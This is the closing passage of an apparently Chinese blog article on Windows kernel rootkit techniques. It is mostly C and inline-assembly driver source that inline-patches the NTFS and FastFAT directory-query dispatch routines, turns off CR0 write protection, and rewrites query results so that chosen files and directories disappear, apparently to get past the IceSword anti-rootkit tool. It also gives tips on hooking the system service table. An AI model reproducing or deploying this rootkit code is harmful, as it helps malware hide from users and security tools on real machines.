????????????????????????mov dword ptr [edi+0x3c], eax
????????????????????????mov eax, 0x002e002e
????????????????????????mov dword ptr [edi+0x5e], eax
????????????????????????popad
????????????????????}
????????????????}
????????????????Status = OldNtfsCompletionRuntine (
????????????????????????????????????DeviceObject,
????????????????????????????????????Irp,
????????????????????????????????????Context );????????????????
????????????????return Status;
????????????????
}
NTSTATUS NewFatCompletionRuntine(
????IN PDEVICE_OBJECT DeviceObject,
????IN PIRP Irp,
????IN PVOID Context )
{
????NTSTATUS Status;
????????????????_asm
????????????????{
????????????????????pushad
????????????????????mov edi, FatUserbuf
????????????????????add edi, 0x5e
????????????????????mov FatFileName, edi
????????????????????popad
????????????????}
????????????????if ( wcsstr( FatFileName, HideDirectory ) ||??wcsstr( FatFileName, HideFile ) )
????????????????{
????????????????????_asm
????????????????????{
????????????????????????pushad
????????????????????????mov edi,FatUserbuf
????????????????????????mov eax, 0x16
????????????????????????mov dword ptr [edi+0x38], eax
????????????????????????mov eax, 0x04
????????????????????????mov dword ptr [edi+0x3c], eax
????????????????????????mov eax, 0x002e002e
????????????????????????mov dword ptr [edi+0x5e], eax
????????????????????????popad
????????????????????}
????????????????}
????????????????Status = OldFatCompletionRuntine (
????????????????????????????????????DeviceObject,
????????????????????????????????????Irp,
????????????????????????????????????Context );????????????????
????????????????return Status;
????????????????
}
NTSTATUS NewNtfsQueryDirectoryDispatch (
??IN PDEVICE_OBJECT??DeviceObject,
??IN OUT PIRP????????Irp )
{
????NTSTATUS????Status;
????DWORD????????QueryFile;
????????????????_asm
????????????????{
????????????????????pushad
????????????????????mov edi, OldNtfsQueryDirectoryDispatch
????????????????????mov eax, dword ptr ResumCodeNtfsQueryDirectoryDispatch[0]
????????????????????mov [edi], eax
????????????????????mov ax, word ptr ResumCodeNtfsQueryDirectoryDispatch[4]
????????????????????mov [edi+4], ax
????????????????????popad
????????????????}
????????????????_asm
????????????????{
????????????????????pushad
????????????????????mov edi, Irp
????????????????????mov eax, [edi+0x60]
????????????????????mov ecx, [edi+0x3c]
????????????????????mov edi, [eax+4]
????????????????????mov QueryFile, edi
????????????????????mov NtfsUserbuf, ecx
????????????????????mov NtfsLocaIrp, eax
????????????????????popad
????????????????}
????????????????if ( QueryFile == 0xfe8 )
????????????????{
????????????????????_asm
????????????????????{
????????????????????????pushad
????????????????????????mov edi, NtfsLocaIrp
????????????????????????mov eax, [edi+0x1c]
????????????????????????mov OldNtfsCompletionRuntine, eax
????????????????????????lea eax, NewNtfsCompletionRuntine
????????????????????????mov [edi+0x1c], eax
????????????????????????popad
????????????????????}????????????????
????????????????}
????????????????Status = OldNtfsQueryDirectoryDispatch (
????????????????????????????????????????DeviceObject,
????????????????????????????????????????Irp );
????????????????_asm
????????????????{
????????????????????pushad
????????????????????mov edi, OldNtfsQueryDirectoryDispatch
????????????????????mov eax, dword ptr CrackCodeNtfsQueryDirectoryDispatch[0]
????????????????????mov [edi], eax
????????????????????mov ax, word ptr CrackCodeNtfsQueryDirectoryDispatch[4]
????????????????????mov [edi+4], ax
????????????????????popad
????????????????}
????????????????return Status;
}
NTSTATUS NewFatQueryDirectoryDispatch (
??IN PDEVICE_OBJECT??DeviceObject,
??IN OUT PIRP????????Irp )
{
????NTSTATUS????Status;
????DWORD????????QueryFile;
????????????????_asm
????????????????{
????????????????????pushad
????????????????????mov edi, OldFatQueryDirectoryDispatch
????????????????????mov eax, dword ptr ResumCodeFatQueryDirectoryDispatch[0]
????????????????????mov [edi], eax
????????????????????mov ax, word ptr ResumCodeFatQueryDirectoryDispatch[4]
????????????????????mov [edi+4], ax
????????????????????popad
????????????????}
????????????????_asm
????????????????{
????????????????????pushad
????????????????????mov edi, Irp
????????????????????mov eax, [edi+0x60]
????????????????????mov ecx, [edi+0x3c]
????????????????????mov edi, [eax+4]
????????????????????mov QueryFile, edi
????????????????????mov FatUserbuf, ecx
????????????????????mov FatLocaIrp, eax
????????????????????popad
????????????????}
????????????????if ( QueryFile == 0xfe8 )
????????????????{
????????????????????_asm
????????????????????{
????????????????????????pushad
????????????????????????mov edi, FatLocaIrp
????????????????????????mov eax, [edi+0x1c]
????????????????????????mov OldFatCompletionRuntine, eax
????????????????????????lea eax, NewFatCompletionRuntine
????????????????????????mov [edi+0x1c], eax
????????????????????????popad
????????????????????}????????????????
????????????????}
????????????????Status = OldFatQueryDirectoryDispatch??(
????????????????????????????????????????DeviceObject,
????????????????????????????????????????Irp );
????????????????_asm
????????????????{
????????????????????pushad
????????????????????mov edi, OldFatQueryDirectoryDispatch
????????????????????mov eax, dword ptr CrackCodeFatQueryDirectoryDispatch[0]
????????????????????mov [edi], eax
????????????????????mov ax, word ptr CrackCodeFatQueryDirectoryDispatch[4]
????????????????????mov [edi+4], ax
????????????????????popad
????????????????}
????????????????return Status;
}
NTSTATUS PatchFileSystemDevicePatDispatch()
{
????NTSTATUS NtfsStatus;
????NTSTATUS FastFatStatus;
????UNICODE_STRING FileSystemName;
????PVOID FileDeviceObject;
????POBJECT_TYPE ObjectType;
????
????????DbgPrint("My Driver Loaded!");
????????RtlInitUnicodeString( &FileSystemName, L"http://FileSystem//Ntfs" );
????????NtfsStatus = ObReferenceObjectByName??(??
????????????????????????????????&FileSystemName,??
????????????????????????????????0x40,??
????????????????????????????????NULL,??
????????????????????????????????NULL,??
????????????????????????????????&ObjectType,??
????????????????????????????????NULL,??
????????????????????????????????NULL,??
????????????????????????????????&FileDeviceObject );
????????if??( NtfsStatus == STATUS_SUCCESS )
????????{
????????????_asm
????????{
????????????pushad
????????????mov edi, FileDeviceObject
????????????mov eax, [edi+0x68]
????????????mov OldNtfsQueryDirectoryDispatch, eax
????????????popad
????????}
????
????????????_asm
????????{
????????????CLI??????????????????
????????????MOV????EAX, CR0??????
????????????AND EAX, NOT 10000H
????????????MOV????CR0, EAX??????
????????}
??????????????_asm
????????{
????????????pushad
????????????mov edi, OldNtfsQueryDirectoryDispatch
????????????mov eax, [edi]
????????????mov dword ptr ResumCodeNtfsQueryDirectoryDispatch[0], eax
????????????mov ax, [edi+4]
????????????mov word??ptr ResumCodeNtfsQueryDirectoryDispatch[4], ax
????????????
????????????mov byte ptr CrackCodeNtfsQueryDirectoryDispatch[0], 0x68
????????????lea edi, NewNtfsQueryDirectoryDispatch
????????????mov dword ptr CrackCodeNtfsQueryDirectoryDispatch[1], edi
????????????mov byte ptr CrackCodeNtfsQueryDirectoryDispatch[5], 0xC3
????????????mov edi, OldNtfsQueryDirectoryDispatch
????????????mov eax, dword ptr CrackCodeNtfsQueryDirectoryDispatch[0]
????????????mov dword ptr[edi], eax
????????????mov ax, word ptr CrackCodeNtfsQueryDirectoryDispatch[4]
????????????mov word ptr[edi+4], ax
????????????popad
????????}
????????????_asm
????????{
????????????MOV????EAX, CR0??????
????????????OR????EAX, 10000H??????????
????????????MOV????CR0, EAX??????????????
????????????STI??????????????????
????????}
????????}
????????RtlInitUnicodeString( &FileSystemName, L"http://FileSystem//Fastfat" );
????????FastFatStatus = ObReferenceObjectByName (??
????????????????????????????????&FileSystemName,??
????????????????????????????????0x40,??
????????????????????????????????NULL,??
????????????????????????????????NULL,??
????????????????????????????????&ObjectType,??
????????????????????????????????NULL,??
????????????????????????????????NULL,??
????????????????????????????????&FileDeviceObject );
????????if ( FastFatStatus == STATUS_SUCCESS )
????????{
????????????_asm
????????{
????????????pushad
????????????mov edi, FileDeviceObject
????????????mov eax, [edi+0x68]
????????????mov OldFatQueryDirectoryDispatch, eax
????????????popad
????????}
????
????????????_asm
????????{
????????????CLI??????????????????
????????????MOV????EAX, CR0??????
????????????AND EAX, NOT 10000H
????????????MOV????CR0, EAX??????
????????}
??????????????_asm
????????{
????????????pushad
????????????mov edi, OldFatQueryDirectoryDispatch
????????????mov eax, [edi]
????????????mov dword ptr ResumCodeFatQueryDirectoryDispatch[0], eax
????????????mov ax, [edi+4]
????????????mov word??ptr ResumCodeFatQueryDirectoryDispatch[4], ax
????????????
????????????mov byte ptr CrackCodeFatQueryDirectoryDispatch[0], 0x68
????????????lea edi, NewFatQueryDirectoryDispatch
????????????mov dword ptr CrackCodeFatQueryDirectoryDispatch[1], edi
????????????mov byte ptr CrackCodeFatQueryDirectoryDispatch[5], 0xC3
????????????mov edi, OldFatQueryDirectoryDispatch
????????????mov eax, dword ptr CrackCodeFatQueryDirectoryDispatch[0]
????????????mov dword ptr[edi], eax
????????????mov ax, word ptr CrackCodeFatQueryDirectoryDispatch[4]
????????????mov word ptr[edi+4], ax
????????????popad
????????}
????????????_asm
????????{
????????????MOV????EAX, CR0????
????????????OR????EAX, 10000H????
????????????MOV????CR0, EAX??????????
????????????STI??????????????????
????????}
????????
????????}
????????return ( NtfsStatus & FastFatStatus );??
}
以上代碼只能實(shí)現(xiàn)在IS中隱藏文件,如果要想在普通情況下隱藏文件,可以hook服務(wù)表中的函數(shù),也可以在上面構(gòu)造新的分派函數(shù)中增加一些選擇項(xiàng)就是了。但是記得hook服務(wù)表中的函數(shù)別忘了把構(gòu)造后的數(shù)據(jù)寫入otoskrnl.exe中,免得IS啟動時(shí)失效。
八、關(guān)于端口:
????感覺是該停止的時(shí)候了,如果把這個也搞出來并且本文被灰鴿子作者之流A進(jìn)他的作品的話,那就違背我的本意并且我的心也會也會難受的。因此就在這里 止步吧! 呵呵,今年我想要學(xué)的東西,想要做的事情也都做完了??梢院煤没厝ミ^年了。爽?。∽詈笞8魑皇フQ快樂!特別時(shí)那些他鄉(xiāng)的游子。記得打個電話回去問候喲!
參考文章:
wuyanfeng ????《icesword 驅(qū)動部分分析》 //呵呵,希望大家給國產(chǎn)調(diào)試器一些支持 ??!????
tombkeeper????《獲取Windows 系統(tǒng)的內(nèi)核變量》????
http://www.xfocus.net/articles/200408/724.html
JIURL ????????《IRP 亂雜談》????????????
http://jiurl.yeah.net/????????
JIURL????????《JIURL玩玩Win2k進(jìn)程線程篇 HANDLE_TABLE》
http://jiurl.yeah.net/
JIURL ????????《JIURL玩玩Win2k 對象》????????????
http://jiurl.yeah.net/????
sinister????《隱藏任意進(jìn)程,目錄/文件,注冊表,端口》
能記得住的文章就這幾個了。
更多文章、技術(shù)交流、商務(wù)合作、聯(lián)系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號聯(lián)系: 360901061
您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點(diǎn)擊下面給點(diǎn)支持吧,站長非常感激您!手機(jī)微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點(diǎn)擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對您有幫助就好】元
